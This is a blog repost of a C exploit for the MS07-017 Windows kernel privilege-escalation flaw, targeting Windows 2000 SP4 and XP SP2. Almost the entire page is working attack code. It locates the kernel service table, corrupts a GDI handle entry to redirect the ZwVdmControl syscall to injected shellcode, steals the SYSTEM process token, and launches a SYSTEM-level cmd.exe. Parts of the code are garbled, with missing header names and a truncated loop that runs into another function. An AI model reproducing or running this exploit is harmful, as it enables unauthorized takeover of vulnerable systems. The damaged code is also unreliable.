MS07-017 windows 2000 and windows xp sp2 修改版

MS07-017 windows 2000 and windows xp sp2 修改版

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2007-05-9

#include 
     
     
#include 
     
     
#include 
     
     

#pragma comment (lib, "ntdll.lib")
#pragma comment (lib, "shlwapi.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L) 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 

typedef struct _GDI_TABLE_ENTRY {

   DWORD pKernelInfo;
   WORD  ProcessID; 
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef enum _SECTION_INFORMATION_CLASS {

	SectionBasicInformation,
	SectionImageInformation
}SECTION_INFORMATION_CLASS; 

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0

	PVOID BaseAddress;
	ULONG Attributes;
	LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

typedef struct _UNICODE_STRING {

	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {

	SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;



typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

	ULONG Reserved[2];
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT Unknown;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 


extern "C"
NTSTATUS 
NTAPI
NtQuerySection(
	IN HANDLE SectionHandle,
	IN SECTION_INFORMATION_CLASS SectionInformationClass,
	OUT PVOID SectionInformation,
	IN ULONG SectionInformationLength,
	OUT PULONG ResultLength OPTIONAL
	);

extern "C"
NTSTATUS 
NTAPI
NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID *BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG AllocationType,
	IN ULONG Protect
	);

extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(          
	IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
	IN OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength,
	OUT PULONG ReturnLength OPTIONAL
	);

extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
    IN PVOID Base
    );

extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
    IN PVOID Base,
    IN BOOLEAN MappedAsImage,
    IN USHORT DirectoryEntry,
    OUT PULONG Size
    );

ULONG MyBuffer[500];
PCHAR Temp[10];

DWORD
GetKernelBase(
	VOID
	)
{
	NTSTATUS	status = STATUS_SUCCESS;
	ULONG		i = 0;
	ULONG		NeedSize = 0;
	ULONG		ModuleTotal = 0;
	DWORD		dwKernelBase = 0;
	PSYSTEM_MODULE_INFORMATION	SystemModuleInfo = NULL;
	
	status = NtQuerySystemInformation(
				SystemModuleInformation, 
				(PVOID)Temp, 
				10, 
				&NeedSize );

	if( status != STATUS_INFO_LENGTH_MISMATCH ) {

		printf("NtQuerySystemInformation (first) failed, status: %08X/n", status );
		return dwKernelBase;
	}
	
	SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
	if ( NULL == SystemModuleInfo ) {
	
		printf("NtQuerySystemInformation failed (second), code: %08X/n", GetLastError() );
		return dwKernelBase;
	}
	
	status = NtQuerySystemInformation(
				SystemModuleInformation, 
				SystemModuleInfo, 
				NeedSize, 
				&NeedSize );
	
	if( status != STATUS_SUCCESS ) {

		printf("NtQuerySystemInformation failed, status: %08X/n", status );
		return dwKernelBase;
	}

	
	ModuleTotal = *(PULONG)SystemModuleInfo;
	SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
	
	for( i=0; iSizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
			i++, ImageFixup++ ) {
			
				if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {
				
					dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
					dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;
				
					if ( dwRva == dwKeSDTOffset ) {
					
						if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

							dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;	
							return dwKiServiceTable;
						}
					}
				}
		}

		*(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;
	
	} while ( ImageBaseReloc->VirtualAddress );

	return 0;
}

VOID
SetShellCodeToMemory(
	PVOID	ShellCodeMemory
	)
{
	OSVERSIONINFOEX	OsVersionInfo;

	RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
	OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

	if ( OsVersionInfo.dwMajorVersion != 5 ) {

		printf( "Not NT5 system/n" );
		ExitProcess( 0 );
		return;
	}

	if ( OsVersionInfo.dwMinorVersion == 0 ) {

		__asm {

			call Copy2KShellCode

			nop
			nop
			nop
			nop
			nop
			nop

			mov	eax,0xFFDFF124	// eax = KPCR		(not 3G Mode)
			mov eax,[eax]

			//
			// 其他版本的shellcode请自己修改偏移, 谢谢
			//

			mov	esi,[eax+0x44]
			mov	eax,esi

		search2K:

			mov	eax,[eax+0xa0]
			sub	eax,0xa0
			mov	edx,[eax+0x9c]
			cmp	edx,0x8	// Find System Process
			jne	search2K

			mov	eax,[eax+0x12c]	// 获取system进程的token
			mov	[esi+0x12c],eax	// 修改当前进程的token

			ret 8
				
	Copy2KShellCode:
			pop esi
			mov edi, ShellCodeMemory

			lea ecx, Copy2KShellCode
			sub ecx, esi
			cld
			rep movsb
		}

	} else if ( OsVersionInfo.dwMinorVersion == 1 ) {
	
		__asm {

			call CopyXpShellCode

			nop
			nop
			nop
			nop
			nop
			nop

			mov	eax,0xFFDFF124	// eax = KPCR		(not 3G Mode)
			mov eax,[eax]

			//
			// 其他版本的shellcode请自己修改偏移, 谢谢
			//

			mov	esi,[eax+0x220]
			mov	eax,esi

		searchXp:

			mov	eax,[eax+0x88]
			sub	eax,0x88
			mov	edx,[eax+0x84]
			cmp	edx,0x4	// Find System Process
			jne	searchXp

			mov	eax,[eax+0xc8]	// 获取system进程的token
			mov	[esi+0xc8],eax	// 修改当前进程的token

			ret 8
				
	CopyXpShellCode:
			pop esi
			mov edi, ShellCodeMemory
			lea ecx, CopyXpShellCode
			sub ecx, esi
			cld
			rep movsb
		}
	
	} else {
	
		ExitProcess(0);
	}

}

int main(int argc, char* argv[])
{
	NTSTATUS	status;
	DWORD	dwKernelBase = 0;
	HMODULE	hModule = NULL;
	PVOID	KeServiceDescriptorTable = NULL;
	DWORD	dwKeSDTOffset = 0;
	DWORD	dwKiServiceTable = 0;
	PVOID	ZwVdmControl = NULL;
	DWORD	FuncNumber = 0;
	DWORD	HookAddress = 0;

	HBRUSH	hBrush;
	PVOID	ShellCodeMemory = (PVOID)0x2;
	DWORD	MemorySize = 0x1000;
	WORD	Upr;
	LPVOID	lpMapAddress = NULL;
	HANDLE	hMapFile = (HANDLE)0x10;
	DWORD	i;
	ULONG	hPid;
	DWORD	OldKernelInfo;

	PGDI_TABLE_ENTRY	GdiTableEntry = NULL;

	SECTION_BASIC_INFORMATION	SectionBaseInfo;
	PROCESS_INFORMATION			pi;
	STARTUPINFOA				stStartup;

	printf( "MS07-017  Local Privilege Escalation Vulnerability Exploit/n/n" );
	printf( "Tested on: /n/twindows xp sp2/n/twindows 2000 sp4 Chinese (before MS07-017) /n/n" );
	printf( "/tCoded by Ivanlef0u, shadow3 modified/n/n" );

	dwKernelBase = GetKernelBase();
	if ( dwKernelBase == 0 ) {
	
		printf("GetKernelBase failed/n" );
		return 0;
	}

	printf( "Get KernelBase Success, ntoskrnl.exe base = %08X/n", dwKernelBase );
	printf( "Mapping ntoskrnl.exe ... " );

	hModule = LoadLibrary("ntoskrnl.exe");
	if ( NULL == hModule ) {
	
		printf("/nLoadLibrary failed, code: %d/n", GetLastError() );
		return 0;
	}

	printf( "ok/n" );

	KeServiceDescriptorTable = GetProcAddress( 
									hModule, 
									"KeServiceDescriptorTable" );
	if ( NULL == KeServiceDescriptorTable ) {
	
		printf("GetProcAddress failed, code: %d/n", GetLastError() );
		FreeLibrary( hModule );
		return 0;
	}

	printf( "KeServiceDescriptorTable = %08X/n", KeServiceDescriptorTable );
	printf( "Find KiServiceTable ... " );

	dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hModule;

	dwKiServiceTable = FindKiServiceTable( hModule, dwKeSDTOffset );
	if ( 0 == dwKiServiceTable ) {
	
		printf( "failed/n" );
		FreeLibrary( hModule );
		return 0;
	}

	printf( "ok!!!/nKiServiceTable == %08X/n", dwKiServiceTable + dwKernelBase );

	FreeLibrary( hModule );

	hModule = LoadLibrary( "ntdll.dll" );
	if ( NULL == hModule ) {
	
		printf("/nLoadLibrary failed, code: %d/n", GetLastError() );
		return 0;
	}

	printf( "Get ZwVdmControl Number ... " );

	ZwVdmControl = GetProcAddress( hModule, "ZwVdmControl" );
	if ( NULL == ZwVdmControl ) {
	
		printf("failed/nGetProcAddress failed, code: %d/n", GetLastError() );
		FreeLibrary( hModule );
		return 0;
	}

	FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

	printf( "ok!/n" );
	printf( "ZwVdmControl Call Number: %08X/n", FuncNumber );

	HookAddress = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );

	status = NtAllocateVirtualMemory( (HANDLE)-1, 
									  &ShellCodeMemory,
									  0, 
									  &MemorySize, 
									  MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
									  PAGE_EXECUTE_READWRITE );
	if ( status != STATUS_SUCCESS ) {
	
		printf( "NtAllocateVirtualMemory failed, status: %08X/n", status );
		return 0;
	}

	//
	// 初始化 ShellCode
	//

	memset( ShellCodeMemory, 0x90, MemorySize );
	SetShellCodeToMemory( ShellCodeMemory );

	hBrush = CreateSolidBrush(0);
	
	Upr = (WORD)((DWORD)hBrush>>16);

	while(!lpMapAddress) {

		hMapFile = (HANDLE)((ULONG)hMapFile + 1);
		lpMapAddress = MapViewOfFile( hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
	}

	if( lpMapAddress == NULL ) {

		printf("MapViewOfFile failed, code: %d/n", GetLastError()); 
		return 0;
	}

	status=NtQuerySection( hMapFile, 
							SectionBasicInformation, 
							&SectionBaseInfo, 
							sizeof(SECTION_BASIC_INFORMATION), 
							0 );
	if ( status != STATUS_SUCCESS ) {

		printf("NtQuerySection failed, status: %08X/n", status); 
		return 0;
	}

	printf( "Find GdiTableEntry ... " );

	GdiTableEntry = (PGDI_TABLE_ENTRY)lpMapAddress;
	hPid = GetCurrentProcessId();

	memset( MyBuffer, 0x90, sizeof(MyBuffer) );

	for ( i = 0; i < SectionBaseInfo.Size.QuadPart; i += sizeof(GDI_TABLE_ENTRY) ) {

		if( GdiTableEntry->ProcessID == hPid && GdiTableEntry->nUpper == Upr ) {

			OldKernelInfo = GdiTableEntry->pKernelInfo;		
			GdiTableEntry->pKernelInfo = (ULONG)MyBuffer;
			break;
		}

		GdiTableEntry++;
	}

	printf( "ok/n" );

	DeleteObject( hBrush );

	printf( "ZwVdmControl -> My Shellcode, modifiable KiServiceTable/n" );

 	MyBuffer[0]=0x1; //!=0
 	MyBuffer[0x24/4]= HookAddress; //syscall to modifY
	MyBuffer[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

	DeleteObject( hBrush );

	GdiTableEntry->pKernelInfo = OldKernelInfo;

	printf( "call shellcode ... " );

	_asm {
	
		xor ecx,ecx
		push ecx
		push ecx
		mov eax, ZwVdmControl
		call eax
	}

	printf( "Done./n" );
	printf( "Create New Process/n" );

	GetStartupInfo( &stStartup );

	CreateProcess( NULL,
					"cmd.exe",
					NULL,
					NULL,
					TRUE,
					NULL,
					NULL,
					NULL,
					&stStartup,
					&pi );

	return 0;
}


原程序出处: http://www.milw0rm.com/exploits/3688



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值